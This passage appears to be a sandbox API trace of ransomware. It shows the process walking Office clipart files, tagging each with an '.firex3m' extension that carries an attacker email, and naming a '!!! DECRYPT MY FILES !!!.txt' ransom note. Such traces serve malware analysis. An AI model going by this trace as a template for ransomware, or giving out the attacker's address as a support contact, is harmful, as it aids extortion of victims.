lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd685b3d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd685b3d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00921_.WMF", cAlternateFileName="")) returned 1 [0135.736] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 1 [0135.736] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf") returned 0x44 [0135.736] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.736] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.737] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.737] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.737] GetProcessHeap () returned 0x630000 [0135.737] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1a0) returned 0x66a3e0 [0135.737] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd65f8ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd65f8ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1870, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00923_.WMF", cAlternateFileName="")) returned 1 [0135.737] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 1 [0135.737] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf") returned 0x44 [0135.737] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.737] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.737] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.737] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.737] GetProcessHeap () returned 0x630000 [0135.737] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1a4) returned 0x66a3e0 [0135.738] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd65f8ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd65f8ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd685b3d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c14, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00932_.WMF", cAlternateFileName="")) returned 1 [0135.738] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 1 [0135.738] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf") returned 0x44 [0135.738] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.738] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.738] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.738] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.738] GetProcessHeap () returned 0x630000 [0135.738] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1a8) returned 0x66a3e0 [0135.738] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd65f8ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd65f8ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd685b3d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xeb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00985_.WMF", cAlternateFileName="")) returned 1 [0135.738] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 1 [0135.738] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf") returned 0x44 [0135.738] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.739] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.739] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.739] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.739] GetProcessHeap () returned 0x630000 [0135.739] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1ac) returned 0x66a3e0 [0135.739] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd16, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOAT.WMF", cAlternateFileName="")) returned 1 [0135.739] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF", len=0x40 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 1 [0135.739] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF", cchLength=0x40 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf") returned 0x40 [0135.739] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.739] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.739] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.739] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.739] GetProcessHeap () returned 0x630000 [0135.740] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1b0) returned 0x66a3e0 [0135.740] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x714c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOATINST.WMF", cAlternateFileName="")) returned 1 [0135.740] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 1 [0135.740] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf") returned 0x44 [0135.740] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.740] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.740] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.740] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.740] GetProcessHeap () returned 0x630000 [0135.740] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1b4) returned 0x66a3e0 [0135.740] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00076_.WMF", cAlternateFileName="")) returned 1 [0135.740] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 1 [0135.740] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf") returned 0x44 [0135.740] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.741] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.741] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.741] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.741] GetProcessHeap () returned 0x630000 [0135.741] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1b8) returned 0x66a3e0 [0135.741] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00078_.WMF", cAlternateFileName="")) returned 1 [0135.741] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 1 [0135.741] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf") returned 0x44 [0135.741] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.741] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.741] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.741] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.742] GetProcessHeap () returned 0x630000 [0135.742] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1bc) returned 0x66a3e0 [0135.742] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00092_.WMF", cAlternateFileName="")) returned 1 [0135.742] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 1 [0135.742] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf") returned 0x44 [0135.742] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.742] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.742] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.742] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.742] GetProcessHeap () returned 0x630000 [0135.742] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1c0) returned 0x66a3e0 [0135.742] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x94a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00100_.WMF", cAlternateFileName="")) returned 1 [0135.742] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 1 [0135.742] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf") returned 0x44 [0135.743] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.743] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.743] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.743] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.743] GetProcessHeap () returned 0x630000 [0135.743] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1c4) returned 0x66a3e0 [0135.743] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00135_.WMF", cAlternateFileName="")) returned 1 [0135.743] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 1 [0135.744] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf") returned 0x44 [0135.744] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.744] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.744] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.744] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.744] GetProcessHeap () returned 0x630000 [0135.744] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1c8) returned 0x66a3e0 [0135.744] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x876, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00136_.WMF", cAlternateFileName="")) returned 1 [0135.744] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 1 [0135.744] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf") returned 0x44 [0135.744] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.744] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.744] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.744] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.745] GetProcessHeap () returned 0x630000 [0135.745] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1cc) returned 0x66a3e0 [0135.745] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00145_.WMF", cAlternateFileName="")) returned 1 [0135.745] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF", len=0x44 | out: 